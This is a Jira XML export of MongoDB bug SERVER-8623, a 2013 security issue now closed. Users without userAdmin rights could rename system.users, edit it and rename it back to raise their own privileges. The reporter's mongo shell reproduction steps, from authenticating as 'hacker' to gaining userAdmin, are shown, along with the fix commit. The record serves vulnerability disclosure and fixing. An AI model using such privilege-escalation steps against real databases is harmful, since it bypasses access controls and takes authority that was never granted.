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        <version>9.7.1</version>
        <build-number>970001</build-number>
        <build-date>13-04-2023</build-date>
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<item>
            <title>[SERVER-8623] Unauthorized users are allowed to rename to and from system.users</title>
                <link>https://jira.mongodb.org/browse/SERVER-8623</link>
                <project id="10000" key="SERVER">Core Server</project>
                    <description>&lt;p&gt;A user with dbAdmin access is allowed to rename the system.users collection.  They are also allowed to rename any collection to system.users (if there is not currently a collection there).  This makes it possible to change user permissions without having userAdmin rights.&lt;/p&gt;</description>
                <environment></environment>
        <key id="65787">SERVER-8623</key>
            <summary>Unauthorized users are allowed to rename to and from system.users</summary>
                <type id="1" iconUrl="https://jira.mongodb.org/secure/viewavatar?size=xsmall&amp;avatarId=14703&amp;avatarType=issuetype">Bug</type>
                                            <priority id="3" iconUrl="https://jira.mongodb.org/images/icons/priorities/major.svg">Major - P3</priority>
                        <status id="6" iconUrl="https://jira.mongodb.org/images/icons/statuses/closed.png" description="The issue is considered finished, the resolution is correct. Issues which are closed can be reopened.">Closed</status>
                    <statusCategory id="3" key="done" colorName="success"/>
                                    <resolution id="9">Done</resolution>
                                        <assignee username="spencer@mongodb.com">Spencer Brody</assignee>
                                    <reporter username="andrew.emil@10gen.com">Andrew Emil</reporter>
                        <labels>
                    </labels>
                <created>Tue, 19 Feb 2013 22:51:21 +0000</created>
                <updated>Mon, 11 Jul 2016 17:57:28 +0000</updated>
                            <resolved>Wed, 20 Feb 2013 18:27:26 +0000</resolved>
                                    <version>2.4.0-rc0</version>
                                    <fixVersion>2.4.0-rc1</fixVersion>
                                    <component>Security</component>
                                        <votes>0</votes>
                                    <watches>4</watches>
                                                                                                                <comments>
                            <comment id="271334" author="auto" created="Wed, 20 Feb 2013 18:26:45 +0000"  >&lt;p&gt;Author:&lt;/p&gt;
{u&apos;date&apos;: u&apos;2013-02-20T15:22:35Z&apos;, u&apos;name&apos;: u&apos;Spencer T Brody&apos;, u&apos;email&apos;: u&apos;spencer@10gen.com&apos;}
&lt;p&gt;Message: &lt;a href=&quot;https://jira.mongodb.org/browse/SERVER-8623&quot; title=&quot;Unauthorized users are allowed to rename to and from system.users&quot; class=&quot;issue-link&quot; data-issue-key=&quot;SERVER-8623&quot;&gt;&lt;del&gt;SERVER-8623&lt;/del&gt;&lt;/a&gt; Don&apos;t allow renameCollection to bypass auth checks on system namespaces&lt;br/&gt;
Branch: master&lt;br/&gt;
&lt;a href=&quot;https://github.com/mongodb/mongo/commit/097e3578da6365b20d41d74bfe13d414c151eda7&quot; class=&quot;external-link&quot; target=&quot;_blank&quot; rel=&quot;nofollow noopener&quot;&gt;https://github.com/mongodb/mongo/commit/097e3578da6365b20d41d74bfe13d414c151eda7&lt;/a&gt;&lt;/p&gt;</comment>
                            <comment id="270651" author="andrew.emil@10gen.com" created="Wed, 20 Feb 2013 02:56:14 +0000"  >&lt;p&gt;Just as an update: don&apos;t need dbAdmin rights here, just readWrite&lt;/p&gt;</comment>
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                            <customfieldvalue>&lt;p&gt;&amp;gt;db.auth(&apos;hacker&apos;, &apos;hack&apos;) //assume you have readWrite and dbAdmin rights&lt;br/&gt;
&amp;gt;db.system.users.renameCollection(&apos;users&apos;)&lt;br/&gt;
&amp;gt;db.users.update(&lt;/p&gt;
{ user : &apos;hacker&apos; }
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&amp;gt;db.users.renameCollection(&apos;system.users&apos;)&lt;br/&gt;
&amp;gt;db.auth(&apos;hacker&apos;, &apos;hack&apos;) //now you have userAdmin rights&lt;/p&gt;</customfieldvalue>

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